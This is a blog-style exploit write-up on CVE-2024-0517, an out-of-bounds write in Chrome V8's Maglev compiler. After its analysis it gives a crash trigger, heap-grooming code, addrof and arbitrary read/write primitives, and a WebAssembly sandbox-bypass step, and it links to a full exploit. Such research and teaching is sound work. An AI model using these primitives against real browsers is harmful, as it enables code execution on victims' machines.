Wednesday, January 17, 2024

Breaking the Boundaries: Exploiting Google Chrome's V8 CVE-2024-0517

Overview

The vulnerability stems from how V8’s Maglev compiler handles the compilation of a class with a parent class. Specifically, the vulnerability arises during the lookup of parent classes and their constructors, leading to an out-of-bounds write. We'll analyze the vulnerability using V8’s developer shell, d8.

Preliminaries

V8 JavaScript Engine

The V8 engine consists of several components in its compilation pipeline:

  • Ignition: The interpreter that generates bytecode from JavaScript code.
  • Sparkplug: The baseline compiler.
  • Maglev: The mid-tier optimizing compiler.
  • TurboFan: The main optimizing compiler.

Maglev performs fast optimizations based on feedback from the interpreter, creating a Control Flow Graph (CFG) populated by nodes.

Maglev Compilation Example

Consider the following JavaScript snippet:

function add(a, b) { return a + b; } %PrepareFunctionForOptimization(add); add(2, 4); %OptimizeMaglevOnNextCall(add); add(2, 4);

Running this with d8 --allow-natives-syntax --print-maglev-graph maglev-add-test.js yields the interpreter’s bytecode and Maglev IR graph.

Ubercage

Ubercage (V8 Sandbox) restricts memory accesses within the V8 heap, preventing arbitrary code execution even after a successful exploit. It relocates the V8 heap to a pre-reserved virtual address space and implements Code Pointer Sandboxing to mitigate potential attacks.

Vulnerability

The vulnerability lies in the VisitFindNonDefaultConstructorOrConstructMaglev function. This function attempts to optimize class creation when a class has a parent class and a new.target reference. This optimization introduces an out-of-bounds write.

Triggering the Vulnerability

The following code triggers the vulnerability:

function main() { class ClassParent {} class ClassBug extends ClassParent { constructor() { const v24 = new new.target(); super(); let a = [9.9, 9.9, 9.9, 1.1, 1.1, 1.1, 1.1, 1.1]; } [1000] = 8; } for (let i = 0; i < 300; i++) { Reflect.construct(ClassBug, [], ClassParent); } } %NeverOptimizeFunction(main); main();

When this code is executed, it crashes due to an out-of-bounds write caused by the faulty optimization in Maglev.

Code Analysis

Allocation Folding

Maglev optimizes memory allocations by merging multiple allocations into a single large allocation. This optimization, known as Allocation Folding, can lead to issues if a garbage collection (GC) occurs between the folded allocations.

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(int size, AllocationType allocation_type) { if (!current_raw_allocation_ || current_raw_allocation_->allocation_type() != allocation_type || !v8_flags.inline_new) { current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size); return current_raw_allocation_; } int current_size = current_raw_allocation_->size(); if (current_size + size > kMaxRegularHeapObjectSize) { return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size); } current_raw_allocation_->extend(size); return AddNewNode<FoldedAllocation>({current_raw_allocation_}, current_size); }

The ExtendOrReallocateCurrentRawAllocation function is responsible for managing memory allocations in Maglev.

VisitFindNonDefaultConstructorOrConstruct

The VisitFindNonDefaultConstructorOrConstruct function attempts to optimize class instance creation. If certain conditions are met, it calls BuildAllocateFastObject, which allocates memory for the class instance without clearing the current allocation. This can lead to an out-of-bounds write if a GC occurs between allocations.

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() { ValueNode* this_function = LoadRegisterTagged(0); ValueNode* new_target = LoadRegisterTagged(1); auto register_pair = iterator_.GetRegisterPairOperand(2); if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) { return; } CallBuiltin* result = BuildCallBuiltin({this_function, new_target}); StoreRegisterPair(register_pair, result); }

Exploitation

Exploiting this vulnerability involves:

  1. Triggering the vulnerability to create an out-of-bounds write.
  2. Setting up the V8 heap to ensure predictable memory layout.
  3. Creating primitives for arbitrary read and write operations.
  4. Achieving code execution by bypassing Ubercage and utilizing WebAssembly.

Triggering the Vulnerability

We extend the previous example to gain more control over the exploit:

let empty_object = {}; let corrupted_instance = null; class ClassParent {} class ClassBug extends ClassParent { constructor(a20, a21, a22) { const v24 = new new.target(); let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object]; super(); let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; this.x = x; this.a = a; JSON.stringify(empty_array); } [1] = dogc(); } for (let i = 0; i < 200; i++) { dogc_flag = false; if (i % 2 == 0) dogc_flag = true; dogc(); } for (let i = 0; i < 650; i++) { dogc_flag = false; if (i == 644 || i == 645 || i == 646 || i == 640) { dogc_flag = true; dogc(); dogc_flag = false; } if (i == 646) dogc_flag = true; let x = Reflect.construct(ClassBug, empty_array, ClassParent); if (i == 646) corrupted_instance = x; }

This code sets up the heap and triggers the vulnerability under controlled conditions.

Exploit Primitives

Addrof Primitive:

function addrof_tmp(obj) { corrupted_instance.x[0] = obj; f64[0] = corrupted_instance.a[8]; return u32[0]; }

Write Primitive:

corrupted_instance.x[5] = 0x10000; if (corrupted_instance.a.length != 0x10000) { log(ERROR, "Initial Corruption Failed!"); return false; }

Arbitrary Write:

function v8h_write64(where, what) { b64[0] = zero; f64[0] = corrupted_instance.a[marker42_idx]; if (u32[0] == 0x6) { f64[0] = corrupted_instance.a[marker42_idx - 1]; u32[1] = where - 8; corrupted_instance.a[marker42_idx - 1] = f64[0]; } else if (u32[1] == 0x6) { u32[0] = where - 8; corrupted_instance.a[marker42_idx] = f64[0]; } rwarr[0] = what; }

Read Primitive:

function v8h_read64(addr) { original_leaker_bytes = changer[0]; u32[0] = Number(addr) - 8; u32[1] = 0xc; changer[0] = f64[0]; let ret = leaker[0]; changer[0] = original_leaker_bytes; return f2i(ret); }

Bypassing Ubercage on x86-64

WebAssembly code provides a means to bypass Ubercage. By overwriting a pointer in a WebAssembly instance, we can redirect execution to controlled shellcode.

var wasmCode = new Uint8Array([...]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); let addr_wasminstance = addrof(wasmInstance); let wasm_rwx = v8h_read64(addr_wasminstance + wasmoffset); var f = wasmInstance.exports.main; v8h_write64(addr_wasminstance + wasmoffset, 0x41414141n); f();

Full Exploit Code:

https://github.com/openexploitresearch/exploits/blob/main/chrome/CVE-2024-0517_exploit.js

Unveiling CVE-2024-38112 in the Shadows of Internet Explorer

Overview Recent security research uncovered a new vulnerability within Windows systems that exploits Internet Explorer to execute remote cod...